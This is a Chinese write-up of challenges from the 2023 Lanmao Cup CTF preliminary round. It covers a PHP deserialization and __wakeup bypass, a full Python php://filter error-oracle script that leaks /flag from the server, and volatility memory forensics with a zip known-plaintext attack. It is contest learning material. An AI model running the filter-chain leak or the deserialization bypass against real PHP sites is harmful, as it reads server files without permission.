2023蓝帽杯初赛ctf部分题目

Web

LovePHP

打开网站环境,发现显示出源码

 来可以看到php版本是7.4.33

简单分析了下,主要是道反序列化的题其中发现get传入的参数里有_号是非法字符,如果直接传值传入my_secret.flag,会被php处理掉

绕过 _ 的方法    对于__可以使用[,空格,+.。都会被处理为_;  这是因为当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_ 

所以用my]secret.flag来传就可以,之后就是看反序列化了,这里主要关注的是需要绕过wakeup方法,在一篇文章中发现了可以绕过php版本7.4.33的wakeup函数

使用C绕过       当开头添加为c的时候,只能执行destruct函数,无法添加任何方法所以我们直接用C:8:"Saferman":0:{}就可以了

PHP反序列化中wakeup()绕过总结 – fushulingのblog

之后确发现无法打印出flag,然后一直再试其他的也没有找到回显的地方,最后在file函数上找到了方法

侧信道攻击     侧信道其实就是根据一个二元或者多元条件关系差,可以让我们以”盲注”的形式,去获取某些信息的一种方法,测信道广义上是非常广泛的。在web题目中他们通常以盲注的形式出现。而这里的file函数里面是可以用filter伪协议的

我就直接利用大佬的脚本搞了一下,通过构造fliter链子,不断的请求内存区域的同一块资源区,通过判断彼此之间服务器响应的时间差值,来得到最终的flag

Webの侧信道初步认识 | Boogiepop Doesn't Laugh (boogipop.com)

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
   return '|'.join(x)

def err(s):
   print(s)
   raise ValueError

def req(s):
   data = f'php://filter/{s}/resource=/flag'
   return requests.get('http:///?my[secret.flag=C:8:"Saferman":0:{}&secret='+data).status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
   payload = join(*[blow_up_utf32]*n)
   if req(f'{header}|{payload}'):
      baseline_blowup = n
      break
else:
   err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
   req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
   req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
   err('something wrong')
if j[0] == False:
   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
   header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
   header = f'convert.base64-encode|convert.base64-encode'
else:
   err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
   global flip, r2, r4
   o = []
   chunk = n // 2
   if chunk % 2 == 1: o.append(r4)
   o.extend([flip, r4] * (chunk // 2))
   if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
   return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
   if not req(f'{prefix}|dechunk|{blow_up_inf}'):
      # a-f A-F 0-9
      if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
         # a-e
         for n in range(5):
            if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'edcba'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
         # A-E
         for n in range(5):
            if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'EDCBA'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
         return '*'
      elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # f
         return 'f'
      elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # F
         return 'F'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
      # n-s N-S
      if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
         # n-r
         for n in range(5):
            if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'rqpon'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
         # N-R
         for n in range(5):
            if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
               return 'RQPON'[n]
               break
         else:
            err('something wrong')
      elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # s
         return 's'
      elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
         # S
         return 'S'
      else:
         err('something wrong')
   elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # i j k
      if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'k'
      elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'j'
      elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'i'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # I J K
      if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'K'
      elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'J'
      elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'I'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # v w x
      if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'x'
      elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'w'
      elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'v'
      else:
         err('something wrong')
   elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
      # V W X
      if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'X'
      elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'W'
      elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
         return 'V'
      else:
         err('something wrong')
   elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # Z
      return 'Z'
   elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # z
      return 'z'
   elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # M
      return 'M'
   elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
      # m
      return 'm'
   elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # y
      return 'y'
   elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # Y
      return 'Y'
   elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # l
      return 'l'
   elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
      # L
      return 'L'
   elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # h
      return 'h'
   elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # H
      return 'H'
   elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # u
      return 'u'
   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
      # U
      return 'U'
   elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # g
      return 'g'
   elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # G
      return 'G'
   elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # t
      return 't'
   elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
      # T
      return 'T'
   else:
      err('something wrong')

print()
for i in range(100):
   prefix = f'{header}|{get_nth(i)}'
   letter = find_letter(prefix)
   # it's a number! check base64
   if letter == '*':
      prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
      s = find_letter(prefix)
      if s == 'M':
         # 0 - 3
         prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
         ss = find_letter(prefix)
         if ss in 'CDEFGH':
            letter = '0'
         elif ss in 'STUVWX':
            letter = '1'
         elif ss in 'ijklmn':
            letter = '2'
         elif ss in 'yz*':
            letter = '3'
         else:
            err(f'bad num ({ss})')
      elif s == 'N':
         # 4 - 7
         prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
         ss = find_letter(prefix)
         if ss in 'CDEFGH':
            letter = '4'
         elif ss in 'STUVWX':
            letter = '5'
         elif ss in 'ijklmn':
            letter = '6'
         elif ss in 'yz*':
            letter = '7'
         else:
            err(f'bad num ({ss})')
      elif s == 'O':
         # 8 - 9
         prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
         ss = find_letter(prefix)
         if ss in 'CDEFGH':
            letter = '8'
         elif ss in 'STUVWX':
            letter = '9'
         else:
            err(f'bad num ({ss})')
      else:
         err('wtf')

   print(end=letter)
   o += letter
   sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

最后跑一下就出来了

Reverse

Story

属于是非预期解,看这个src.cpp文件

打开后在里面搜索发现到了flag,两部分拼接起来就是

Misc

 ez_Forensics

一个镜像内存,用passwirekit直接梭内存镜像,发现了前半段flag

然后我们就需要找到后半段flag,先用弘联的内存工具看看有没有什么信息,这里在环境变量中找到一个secret,怀疑是aes加密

 内存镜像的常规操作看看有哪些文件

volatility.exe -f mem.raw --profile=Win7SP1x64 filescan | findstr -E "txt"

我们看一下它电脑桌面上有哪些东西:

volatility.exe -f mem.raw --profile=Win7SP1x64 filescan | findstr  "Desktop"

提取出上边的table.zip、readme.txt和key.rsmr(Mouse and Keyboard Recorder的文件)

通过 dumpfiles 命令可以将指定文件导出(以readme.txt为例):

volatility.exe -f mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e434590 -D ./

vol.py -f /home/leo/桌面/volatility-master/mem.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000007e434590 -D ./

将readme.txt压缩发现crc32值和table.zip中的readme.txt值不同,猜测肯定是修改了readme.txt文件中的内容,于是我们看一下曾经编辑过哪些文件,查看内存中记事本的内容volatility.exe -f mem.raw --profile=Win7SP1x64 editbox

发现undoBuf(撤销缓冲区):This is table to get the key修改为了Do you think I will leave the content of readme.txt for you to make the know-plaintext attack?

因此将readme.txt内容修改为This is table to get the key,再将其压缩为readme.zip

用明文攻击解密得到未加密压缩包(这里一开始一直不对,后面只有用360zip压缩才可以用ARCHPR进行文明攻击)

里面有一个table

用十六进制编辑器查看一下,很明显是一张PNG图片

修改后缀得到

用google下载Mouse and Keyboard Recorder并且用它打开key.rsmr文件,同时打开电脑的画图工具,让Mouse and Keyboard Recorder工具在上边画出鼠标记录的信息

根据画圈的顺序,再参考table.png,得到key是a91e37bf

最后来一个aes解密即可得到剩下一部分的flag

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/98480.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue自定义事件 div 拖拽方法缩小

在main.js 引用 // 引入拖动js import dragMove from "./utils/dragMove.js" 创建 drawmove.js export default (app) > {app.directive(dragMove, (el, binding) > {const DragVindow el.querySelector(binding.value.DragVindow)// 按下鼠标处理事件con…

【java中的Set集合】HashSet、LinkedHashSet、TreeSet(最通俗易懂版!!)

目录 一、HashSet集合 1.HashSet集合的特点 2.HashSet常用方法 二、LinkedHashSet集合 LinkedHashSet集合的特点 三、TreeSet集合 1.TreeSet集合的特点 2.TreeSet的基本使用 四、HashSet、LinkedHashSet、TreeSet的使用场景 五、list和set集合的区别 一、HashSet集合 …

分布式任务调度框架

分布式任务调度框架 学习为主 文章目录 分布式任务调度框架一、概念二、架构图三、任务调度的流程定时触发任务是如何实现的&#xff1f;&#xff1a;使用时间轮实现定时执行任务逻辑:3.1 对到达now时间后的任务&#xff08;超出now 5秒外)3.2 对到达now时间后的任务&#xff0…

苹果为 Vision Pro 头显申请游戏手柄专利

苹果Vision Pro 推出后&#xff0c;美国专利局公布了两项苹果公司申请的游戏手柄专利&#xff0c;其中一项的专利图如下图所示。据 PatentlyApple 报道&#xff0c;虽然申请专利并不能保证苹果公司会推出游戏手柄&#xff0c;但是苹果公司同时也为游戏手柄申请了商标&#xff0…

Navicat使用HTTP通道服务器进行连接mysql数据库(超简单三分钟完成),centos安装nginx和php,docker安装nginx+php合并版

序言 因为数据库服务器在外网是不能直接连接访问的&#xff0c;但是可以访问网站&#xff0c;网站后台就能访问数据库&#xff0c;所以在此之前&#xff0c;访问数据库的数据是一件非常麻烦的事情&#xff0c;在平时和运维的交流中发现&#xff0c;他们会使用ssh通道进行连接访…

解决Apache Tomcat “Request header is too large“ 异常 ‍

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

RC电路(二):耦合

耦合仿真电路及波形 数值与输入方波宽度 之间满足&#xff1a;&#xff0c;将变成一个 耦合电路&#xff0c;输出波形可以跟随输入波形&#xff0c;电路如下图所示。 上图红框部分放大后如下图所示&#xff1a; 在 时&#xff0c; 由 &#xff0c;因电容电压不能突变(来不及…

祝贺!Databend Cloud 和阿里云 PolarDB 达成认证

近日&#xff0c;北京数变科技有限公司旗下产品与阿里云 PolarDB 开源数据库社区展开产品集成认证。 测试结果表明&#xff0c;北京数变科技有限公司旗下产品《Databend Cloud&#xff08;V1.25&#xff09;》正式通过了《阿里云 PolarDB 数据库管理软件》的技术认证&#xff…

「C++程序设计 (面向对象进阶)」学习笔记・一

0、引言 本专栏的系列文章是在学习 北京邮电大学 崔毅东 老师的《C程序设计 (面向对象进阶)》课程过程中整理的。欢迎前往专栏了解更多相关内容~ &#x1f600; 有关于现代 C 的基本介绍&#xff0c;请前往《现代C基本介绍》&#xff01; &#x1f514; 先决条件 本专栏的系列…

BIO到NIO、多路复用器, 从理论到实践, 结合实际案例对比各自效率与特点(上)

文章目录 文章引入IO模型及概念梳理BIO简单介绍代码样例压测结果 NIO(单线程模型)简单介绍与BIO的比较代码样例压测结果 多路复用器问题引入 文章引入 如果你对BIO、NIO、多路复用器有些许疑惑, 那么这篇文章就是肯定需要看的, 本文将主要从概念, 代码实现、发展历程的角度去突…

cocosCreator 之 微信小游戏打包

版本&#xff1a; v3.8.0 环境&#xff1a; Mac 介绍 cocosCreator 支持将游戏发布到多个小游戏平台&#xff0c;并提供了打包等流程处理。 本篇文章主要讲述下微信小游戏的发布流程相关。更多内容参考官方文档&#xff1a; 发布到小游戏平台 微信小游戏的发布相关&#xff…

vue3 DOM元素渲染完成之后执行

在Vue 3中&#xff0c;可以使用nextTick函数来在DOM元素渲染完成之后执行代码。nextTick函数会在下次DOM更新循环结束之后执行提供的回调函数。 例如&#xff0c;在Vue 3的组件中&#xff0c;可以这样使用nextTick函数&#xff1a; import { nextTick } from vue;export defa…

多线程与高并发——并发编程(3)

文章目录 三、锁1 锁的分类1.1 可重入锁、不可重入锁1.2 乐观锁、悲观锁1.3 公平锁、非公平锁1.4 互斥锁、共享锁2 深入synchronized2.1 类锁、对象锁2.2 synchronized的优化2.3 synchronized实现原理2.4 synchronized的锁升级2.5 重量级锁底层 ObjectMonitor3 深入ReentrantLo…

并发编程的故事——并发之共享模型

并发之共享模型 文章目录 并发之共享模型一、多线程带来的共享问题二、解决方案三、方法中的synchronize四、变量的线程安全分析五、习题六、Monitor七、synchronize优化八、wait和notify九、sleep和wait十、park和unpark十一、重新理解线程状态十二、多把锁十三、ReentrantLoc…

CocosCreator3.8研究笔记(二)windows环境 VS Code 编辑器的配置

一、设置文件显示和搜索过滤步骤 为了提高搜索效率以及文件列表中隐藏不需要显示的文件&#xff0c; VS Code 需要设置排除目录用于过滤。 比如 cocoscreator 中&#xff0c;编辑器运行时会自动生成一些目录&#xff1a;build、temp、library&#xff0c; 所以应该在搜索中排除…

云计算的三个主要服务模型:IaaS、PaaS 和 SaaS

文章目录 介绍基础设施即服务&#xff08;Infrastructure as a Service&#xff0c;IaaS&#xff09;平台即服务&#xff08;Platform as a Service&#xff0c;PaaS&#xff09;软件即服务&#xff08;Software as a Service&#xff0c;SaaS&#xff09; 区别基础设施即服务&…

C++面试题(吴)-计算机网络部分(2)和常见设计模式

目录 1.网络部分 3.32 说说浏览器从输入 URL 到展现页面的全过程 3.33 简述 HTTP 和 HTTPS 的区别&#xff1f; 3.34 说说 HTTP 中的 referer 头的作用 3.35 说说 HTTP 的方法有哪些 3.36 简述 HTTP 1.0&#xff0c;1.1&#xff0c;2.0 的主要区别 3.37 说说 HTTP 常见的…

vue组装模板(侧边栏+顶部+主体)--项目阶段4

目录 一、前言介绍 二、结构解析 三、页面拆分 &#xff08;一&#xff09;页面拆分 1.侧边栏页面&#xff08;固定&#xff09;--Aside.vue 2.顶部页面&#xff08;固定&#xff09;--Header.vue 3.主体页面&#xff08;不固定的&#xff09;--示例用UserView…

PYTHON用户流失数据挖掘:建立逻辑回归、XGBOOST、随机森林、决策树、支持向量机、朴素贝叶斯和KMEANS聚类用户画像...

原文链接&#xff1a;http://tecdat.cn/?p24346 在今天产品高度同质化的品牌营销阶段&#xff0c;企业与企业之间的竞争集中地体现在对客户的争夺上&#xff08;点击文末“阅读原文”获取完整代码数据&#xff09;。 “用户就是上帝”促使众多的企业不惜代价去争夺尽可能多的客…

C#,《小白学程序》第七课:列表(List)应用之一“编制高铁车次信息表”

1 文本格式 /// <summary> /// 车站信息类 class /// </summary> public class Station { /// <summary> /// 编号 /// </summary> public int Id { get; set; } 0; /// <summary> /// 车站名 /// </summary>…